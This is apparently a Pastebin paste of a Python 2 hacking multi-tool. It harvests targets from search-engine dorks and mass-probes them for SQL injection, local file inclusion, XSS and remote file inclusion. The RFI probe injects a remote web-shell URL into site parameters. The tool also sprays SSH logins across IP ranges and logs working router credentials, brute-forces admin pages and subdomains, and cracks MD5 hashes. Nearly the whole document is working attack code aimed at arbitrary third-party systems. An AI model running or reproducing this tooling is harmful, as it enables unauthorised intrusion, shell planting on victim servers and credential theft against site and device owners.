Advertisement
Guest User

Untitled

a guest
May 20th, 2016
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.17 KB | None | 0 0
  1. import re
  2. import hashlib
  3. import Queue
  4. from random import choice
  5. import threading
  6. import time
  7. import urllib2
  8. import sys
  9. import socket
  10. import os
  11.  
  12. os.system('cls')
  13.  
  14. try:
  15. import paramiko #Router option requires the paramiko module for shh connections.
  16. PARAMIKO_IMPORTED = True
  17. except ImportError:
  18. PARAMIKO_IMPORTED = False
  19.  
  20.  
  21.  
  22. USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3",
  23. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  24. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  25. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  26. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
  27. ]
  28. option = ' '
  29. vuln = 0
  30. invuln = 0
  31. np = 0
  32. found = []
  33.  
  34.  
  35. class Router(threading.Thread):
  36. """Checks for routers running ssh with given User/Pass"""
  37. def __init__(self, queue, user, passw):
  38. if not PARAMIKO_IMPORTED:
  39. print 'You need paramiko.'
  40. print 'http://www.lag.net/paramiko/'
  41. sys.exit(1)
  42. threading.Thread.__init__(self)
  43. self.queue = queue
  44. self.user = user
  45. self.passw = passw
  46.  
  47. def run(self):
  48. """Tries to connect to given Ip on port 22"""
  49. ssh = paramiko.SSHClient()
  50. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  51. while True:
  52. try:
  53. ip_add = self.queue.get(False)
  54.  
  55. except Queue.Empty:
  56. break
  57. try:
  58. ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10)
  59. ssh.close()
  60. print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw)
  61. write = open('Routers.txt', "a+")
  62. write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw))
  63. write.close()
  64. self.queue.task_done()
  65.  
  66. except:
  67. print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw)
  68. self.queue.task_done()
  69.  
  70.  
  71. class Ip:
  72. """Handles the Ip range creation"""
  73. def __init__(self):
  74. self.ip_range = []
  75. self.start_ip = raw_input('Start ip: ')
  76. self.end_ip = raw_input('End ip: ')
  77. self.user = raw_input('User: ')
  78. self.passw = raw_input('Password: ')
  79. self.iprange()
  80.  
  81. def iprange(self):
  82. """Creates list of Ip's from Start_Ip to End_Ip"""
  83. queue = Queue.Queue()
  84. start = list(map(int, self.start_ip.split(".")))
  85. end = list(map(int, self.end_ip.split(".")))
  86. tmp = start
  87.  
  88. self.ip_range.append(self.start_ip)
  89. while tmp != end:
  90. start[3] += 1
  91. for i in (3, 2, 1):
  92. if tmp[i] == 256:
  93. tmp[i] = 0
  94. tmp[i-1] += 1
  95. self.ip_range.append(".".join(map(str, tmp)))
  96.  
  97. for add in self.ip_range:
  98. queue.put(add)
  99.  
  100. for i in range(10):
  101. thread = Router(queue, self.user, self.passw )
  102. thread.setDaemon(True)
  103. thread.start()
  104. queue.join()
  105.  
  106.  
  107. class Crawl:
  108. """Searches for dorks and grabs results"""
  109. def __init__(self):
  110. if option == '4':
  111. self.shell = str(raw_input('Shell location: '))
  112. self.dork = raw_input('Enter your dork: ')
  113. self.queue = Queue.Queue()
  114. self.pages = raw_input('How many pages(Max 20): ')
  115. self.qdork = urllib2.quote(self.dork)
  116. self.page = 1
  117. self.crawler()
  118.  
  119. def crawler(self):
  120. """Crawls Ask.com for sites and sends them to appropriate scan"""
  121. print '\nScanning...'
  122. for i in range(int(self.pages)):
  123. host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page)
  124. req = urllib2.Request(host)
  125. req.add_header('User-Agent', choice(USER_AGENT))
  126. response = urllib2.urlopen(req)
  127. source = response.read()
  128. start = 0
  129. count = 1
  130. end = len(source)
  131. numlinks = source.count('_t" href', start, end)
  132.  
  133. while count < numlinks:
  134. start = source.find('_t" href', start, end)
  135. end = source.find(' onmousedown="return pk', start, end)
  136. link = source[start+10:end-1].replace("amp;","")
  137. self.queue.put(link)
  138. start = end
  139. end = len(source)
  140. count = count + 1
  141. self.page += 1
  142.  
  143. if option == '1':
  144. for i in range(10):
  145. thread = ScanClass(self.queue)
  146. thread.setDaemon(True)
  147. thread.start()
  148. self.queue.join()
  149.  
  150. elif option == '2':
  151. for i in range(10):
  152. thread = LScanClass(self.queue)
  153. thread.setDaemon(True)
  154. thread.start()
  155. self.queue.join()
  156.  
  157. elif option == '3':
  158. for i in range(10):
  159. thread = XScanClass(self.queue)
  160. thread.setDaemon(True)
  161. thread.start()
  162. self.queue.join()
  163.  
  164. elif option == '4':
  165. for i in range(10):
  166. thread = RScanClass(self.queue, self.shell)
  167. thread.setDaemon(True)
  168. thread.start()
  169. self.queue.join()
  170.  
  171.  
  172. class ScanClass(threading.Thread):
  173. """Scans for Sql errors and ouputs to file"""
  174. def __init__(self, queue):
  175. threading.Thread.__init__(self)
  176. self.queue = queue
  177. self.schar = "'"
  178. self.file = 'Sqli.txt'
  179.  
  180. def run(self):
  181. """Scans Url for Sql errors"""
  182. while True:
  183. try:
  184. site = self.queue.get(False)
  185. except Queue.Empty:
  186. break
  187. if '=' in site:
  188. global vuln
  189. global invuln
  190. global np
  191. test = site + self.schar
  192.  
  193. try:
  194. conn = urllib2.Request(test)
  195. conn.add_header('User-Agent', choice(USER_AGENT))
  196. opener = urllib2.build_opener()
  197. data = opener.open(conn).read()
  198. except:
  199. self.queue.task_done()
  200. else:
  201. if (re.findall("You have an error in your SQL syntax", data, re.I)):
  202. self.mysql(test)
  203. vuln += 1
  204. elif (re.findall('mysql_fetch', data, re.I)):
  205. self.mysql(test)
  206. vuln += 1
  207. elif (re.findall('JET Database Engine', data, re.I)):
  208. self.mssql(test)
  209. vuln += 1
  210. elif (re.findall('Microsoft OLE DB Provider for', data, re.I)):
  211. self.mssql(test)
  212. vuln += 1
  213. else:
  214. print test + ' <-- Not Vuln'
  215. invuln += 1
  216. else:
  217. print site + ' <-- No Parameters'
  218. np += 1
  219. self.queue.task_done()
  220.  
  221.  
  222. def mysql(self, url):
  223. """Proccesses vuln sites into text file and outputs to screen"""
  224. read = open(self.file, "a+").read()
  225. if url in read:
  226. print 'Dupe: ' + url
  227. else:
  228. print "MySql: " + url
  229. write = open(self.file, "a+")
  230. write.write('[SQLI]: ' + url + "\n")
  231. write.close()
  232.  
  233. def mssql(self, url):
  234. """Proccesses vuln sites into text file and outputs to screen"""
  235. read = open(self.file).read()
  236. if url in read:
  237. print 'Dupe: ' + url
  238. else:
  239. print "MsSql: " + url
  240. write = open ('[SQLI]: ' + self.file, "a+")
  241. write.write(url + "\n")
  242. write.close()
  243.  
  244.  
  245. class LScanClass(threading.Thread):
  246. """Scans for Lfi errors and outputs to file"""
  247. def __init__(self, queue):
  248. threading.Thread.__init__(self)
  249. self.file = 'Lfi.txt'
  250. self.queue = queue
  251. self.lchar = '../'
  252.  
  253. def run(self):
  254. """Checks Url for File Inclusion errors"""
  255. while True:
  256. try:
  257. site = self.queue.get(False)
  258. except Queue.Empty:
  259. break
  260. if '=' in site:
  261. lsite = site.rsplit('=', 1)[0]
  262. if lsite[-1] != "=":
  263. lsite = lsite + "="
  264. test = lsite + self.lchar
  265. global vuln
  266. global invuln
  267. global np
  268.  
  269. try:
  270. conn = urllib2.Request(test)
  271. conn.add_header('User-Agent', choice(USER_AGENT))
  272. opener = urllib2.build_opener()
  273. data = opener.open(conn).read()
  274.  
  275. except:
  276. self.queue.task_done()
  277.  
  278. else:
  279. if (re.findall("failed to open stream: No such file or directory", data, re.I)):
  280. self.lfi(test)
  281. vuln += 1
  282. else:
  283. print test + ' <-- Not Vuln'
  284. invuln += 1
  285. else:
  286. print site + ' <-- No Parameters'
  287. np += 1
  288. self.queue.task_done()
  289.  
  290.  
  291. def lfi(self, url):
  292. """Proccesses vuln sites into text file and outputs to screen"""
  293. read = open(self.file, "a+").read()
  294. if url in read:
  295. print 'Dupe: ' + url
  296. else:
  297. print "Lfi: " + url
  298. write = open(self.file, "a+")
  299. write.write('[LFI]: ' + url + "\n")
  300. write.close()
  301.  
  302.  
  303. class XScanClass(threading.Thread):
  304. """Scan for Xss errors and outputs to file"""
  305. def __init__(self, queue):
  306. threading.Thread.__init__(self)
  307. self.queue = queue
  308. self.xchar = """"><script>alert('xss')</script>"""
  309. self.file = 'Xss.txt'
  310.  
  311. def run(self):
  312. """Checks Url for possible Xss"""
  313. while True:
  314. try:
  315. site = self.queue.get(False)
  316. except Queue.Empty:
  317. break
  318. if '=' in site:
  319. global vuln
  320. global invuln
  321. global np
  322. xsite = site.rsplit('=', 1)[0]
  323. if xsite[-1] != "=":
  324. xsite = xsite + "="
  325. test = xsite + self.xchar
  326. try:
  327. conn = urllib2.Request(test)
  328. conn.add_header('User-Agent', choice(USER_AGENT))
  329. opener = urllib2.build_opener()
  330. data = opener.open(conn).read()
  331. except:
  332. self.queue.task_done()
  333. else:
  334. if (re.findall("<script>alert('xss')</script>", data, re.I)):
  335. self.xss(test)
  336. vuln += 1
  337. else:
  338. print test + ' <-- Not Vuln'
  339. invuln += 1
  340. else:
  341. print site + ' <-- No Parameters'
  342. np += 1
  343. self.queue.task_done()
  344.  
  345. def xss(self, url):
  346. """Proccesses vuln sites into text file and outputs to screen"""
  347. read = open(self.file, "a+").read()
  348. if url in read:
  349. print 'Dupe: ' + url
  350. else:
  351. print "Xss: " + url
  352. write = open(self.file, "a+")
  353. write.write('[XSS]: ' + url + "\n")
  354. write.close()
  355.  
  356.  
  357. class RScanClass(threading.Thread):
  358. """Scans for Rfi errors and outputs to file"""
  359. def __init__(self, queue, shell):
  360. threading.Thread.__init__(self)
  361. self.queue = queue
  362. self.file = 'Rfi.txt'
  363. self.shell = shell
  364.  
  365. def run(self):
  366. """Checks Url for Remote File Inclusion vulnerability"""
  367. while True:
  368. try:
  369. site = self.queue.get(False)
  370. except Queue.Empty:
  371. break
  372. if '=' in site:
  373. global vuln
  374. global invuln
  375. global np
  376. rsite = site.rsplit('=', 1)[0]
  377. if rsite[-1] != "=":
  378. rsite = rsite + "="
  379. link = rsite + self.shell + '?'
  380. try:
  381. conn = urllib2.Request(link)
  382. conn.add_header('User-Agent', choice(USER_AGENT))
  383. opener = urllib2.build_opener()
  384. data = opener.open(conn).read()
  385. except:
  386. self.queue.task_done()
  387. else:
  388. if (re.findall('uname -a', data, re.I)): #Or change to whatever is going to be in your shell for sure.
  389. self.rfi(link)
  390. vuln += 1
  391. else:
  392. print link + ' <-- Not Vuln'
  393. invuln += 1
  394. else:
  395. print site + ' <-- No Parameters'
  396. np += 1
  397. self.queue.task_done()
  398.  
  399. def rfi(self, url):
  400. """Proccesses vuln sites into text file and outputs to screen"""
  401. read = open(self.file, "a+").read()
  402. if url in read:
  403. print 'Dupe: ' + url
  404. else:
  405. print "Rfi: " + url
  406. write = open(self.file, "a+")
  407. write.write('[Rfi]: ' + url + "\n")
  408. write.close()
  409.  
  410.  
  411. class Atest(threading.Thread):
  412. """Checks given site for Admin Pages/Dirs"""
  413. def __init__(self, queue):
  414. threading.Thread.__init__(self)
  415. self.queue = queue
  416.  
  417. def run(self):
  418. """Checks if Admin Page/Dir exists"""
  419. while True:
  420. try:
  421. site = self.queue.get(False)
  422.  
  423. except Queue.Empty:
  424. break
  425. try:
  426. conn = urllib2.Request(site)
  427. conn.add_header('User-Agent', choice(USER_AGENT))
  428. opener = urllib2.build_opener()
  429. opener.open(conn)
  430. print site
  431. found.append(site)
  432. self.queue.task_done()
  433.  
  434. except urllib2.URLError:
  435. self.queue.task_done()
  436.  
  437.  
  438. def admin():
  439. """Create queue and threads for admin page scans"""
  440. print 'Need to include http:// and ending /\n'
  441. site = raw_input('Site: ')
  442. queue = Queue.Queue()
  443. dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/',
  444. 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php',
  445. 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html',
  446. 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php',
  447. 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp',
  448. 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html',
  449. 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php',
  450. 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html',
  451. 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
  452. 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html',
  453. 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html',
  454. 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html',
  455. 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html',
  456. 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html',
  457. 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html',
  458. 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php',
  459. 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php',
  460. 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php',
  461. 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php']
  462.  
  463. for add in dirs:
  464. test = site + add
  465. queue.put(test)
  466.  
  467. for i in range(20):
  468. thread = Atest(queue)
  469. thread.setDaemon(True)
  470. thread.start()
  471. queue.join()
  472.  
  473. def aprint():
  474. """Print results of admin page scans"""
  475. print 'Search Finished\n'
  476. if len(found) == 0:
  477. print 'No pages found'
  478. else:
  479. for site in found:
  480. print 'Found: ' + site
  481.  
  482.  
  483. class SDtest(threading.Thread):
  484. """Checks given Domain for Sub Domains"""
  485. def __init__(self, queue):
  486. threading.Thread.__init__(self)
  487. self.queue = queue
  488.  
  489. def run(self):
  490. """Checks if Sub Domain responds"""
  491. while True:
  492. try:
  493. domain = self.queue.get(False)
  494. except Queue.Empty:
  495. break
  496. try:
  497. site = 'http://' + domain
  498. conn = urllib2.Request(site)
  499. conn.add_header('User-Agent', choice(USER_AGENT))
  500. opener = urllib2.build_opener()
  501. opener.open(conn)
  502. except urllib2.URLError:
  503. self.queue.task_done()
  504. else:
  505. target = socket.gethostbyname(domain)
  506. print 'Found: ' + site + ' - ' + target
  507. self.queue.task_done()
  508.  
  509.  
  510. def subd():
  511. """Create queue and threads for sub domain scans"""
  512. queue = Queue.Queue()
  513. site = raw_input('Domain: ')
  514. sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca",
  515. "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro",
  516. "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana",
  517. "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange",
  518. "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford",
  519. "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d",
  520. "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil",
  521. "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere",
  522. "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research",
  523. "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping",
  524. "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads",
  525. "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1",
  526. "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"]
  527.  
  528. for check in sub:
  529. test = check + '.' + site
  530. queue.put(test)
  531.  
  532. for i in range(20):
  533. thread = SDtest(queue)
  534. thread.setDaemon(True)
  535. thread.start()
  536. queue.join()
  537.  
  538.  
  539. class Cracker(threading.Thread):
  540. """Use a wordlist to try and brute the hash"""
  541. def __init__(self, queue, hashm):
  542. threading.Thread.__init__(self)
  543. self.queue = queue
  544. self.hashm = hashm
  545.  
  546. def run(self):
  547. """Hash word and check against hash"""
  548. while True:
  549. try:
  550. word = self.queue.get(False)
  551. except Queue.Empty:
  552. break
  553. tmp = hashlib.md5(word).hexdigest()
  554. if tmp == self.hashm:
  555. self.result(word)
  556. self.queue.task_done()
  557.  
  558. def result(self, words):
  559. """Print result if found"""
  560. print self.hashm + ' = ' + words
  561.  
  562. def word():
  563. """Create queue and threads for hash crack"""
  564. queue = Queue.Queue()
  565. wordlist = raw_input('Wordlist: ')
  566. hashm = raw_input('Enter Md5 hash: ')
  567. read = open(wordlist)
  568. for words in read:
  569. words = words.replace("\n","")
  570. queue.put(words)
  571. read.close()
  572. for i in range(5):
  573. thread = Cracker(queue, hashm)
  574. thread.setDaemon(True)
  575. thread.start()
  576. queue.join()
  577.  
  578.  
  579. class OnlineCrack:
  580. """Use online service to check for hash"""
  581.  
  582. def crack(self):
  583. """Connect and check hash"""
  584. hashm = raw_input('Enter MD5 Hash: ')
  585. conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm))
  586. conn.add_header('User-Agent', choice(USER_AGENT))
  587. opener = urllib2.build_opener()
  588. opener.open(conn)
  589. data = opener.open(conn).read()
  590. if data == 'No results returned.':
  591. print '\n- Not found or not valid -'
  592. else:
  593. print '\n- %s -' % (data)
  594.  
  595.  
  596. class Check:
  597. """Check your current IP address"""
  598.  
  599. def grab(self):
  600. """Connect to site and grab IP"""
  601. site = 'http://www.tracemyip.org/'
  602. try:
  603. conn = urllib2.Request(site)
  604. conn.add_header('User-Agent', choice(USER_AGENT))
  605. opener = urllib2.build_opener()
  606. opener.open(conn)
  607. data = opener.open(conn).read()
  608. start = 0
  609. end = len(data)
  610. start = data.find('onClick="', start, end)
  611. end = data.find('size=', start, end)
  612. ip_add = data[start+46:end-2].strip()
  613. print '\nYour current Ip address is %s' % (ip_add)
  614.  
  615. except urllib2.HTTPError:
  616. print 'Error connecting'
  617.  
  618.  
  619. def output():
  620. """Outputs dork scan results to screen"""
  621. print '\n>> ' + str(vuln) + ' Vulnerable Sites Found'
  622. print '>> ' + str(invuln) + ' Sites Not Vulnerable'
  623. print '>> ' + str(np) + ' Sites Without Parameters'
  624. if option == '1':
  625. print '>> Output Saved To Sqli.txt\n'
  626. elif option == '2':
  627. print '>> Output Saved To Lfi.txt'
  628. elif option == '3':
  629. print '>> Output Saved To Xss.txt'
  630. elif option == '4':
  631. print '>> Output Saved To Rfi.txt'
  632.  
  633.  
  634. def main():
  635. print '''
  636.  
  637.  
  638.  
  639.  
  640. #################################################
  641. # . . . #
  642. # |\ /| | #
  643. # | \/ | .-. .-.| #
  644. # | |(.-'( | #
  645. # ' ' `--'`-'`- #
  646. # #
  647. #Options: #
  648. #[1] Sqli #
  649. #[2] Lfi #
  650. #[3] Xss #
  651. #[4] Rfi #
  652. #[5] Routers #
  653. #[6] Admin Page Finder #
  654. #[7] Sub Domain Scan #
  655. #[8] Dictionary MD5 cracker #
  656. #[9] Online MD5 cracker #
  657. #[10] Check IP #
  658. #################################################
  659. '''
  660. global option
  661. option = raw_input('Enter Option: ')
  662.  
  663. if option:
  664. if option == '1':
  665. Crawl()
  666. output()
  667.  
  668.  
  669. elif option == '2':
  670. Crawl()
  671. output()
  672.  
  673. elif option == '3':
  674. Crawl()
  675. output()
  676.  
  677. elif option == '4':
  678. Crawl()
  679. output()
  680.  
  681. elif option == '5':
  682. Ip()
  683.  
  684. elif option == '6':
  685. admin()
  686. aprint()
  687.  
  688. elif option == '7':
  689. subd()
  690.  
  691. elif option == '8':
  692. word()
  693.  
  694. elif option == '9':
  695. OnlineCrack().crack()
  696.  
  697.  
  698. elif option == '10':
  699. Check().grab()
  700.  
  701.  
  702. else:
  703. print '\nInvalid Choice\n'
  704. time.sleep(0.5)
  705. main()
  706.  
  707. else:
  708. print '\nYou Must Enter An Option\n'
  709. time.sleep(0.5)
  710. main()
  711.  
  712.  
  713. if __name__ == '__main__':
  714. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement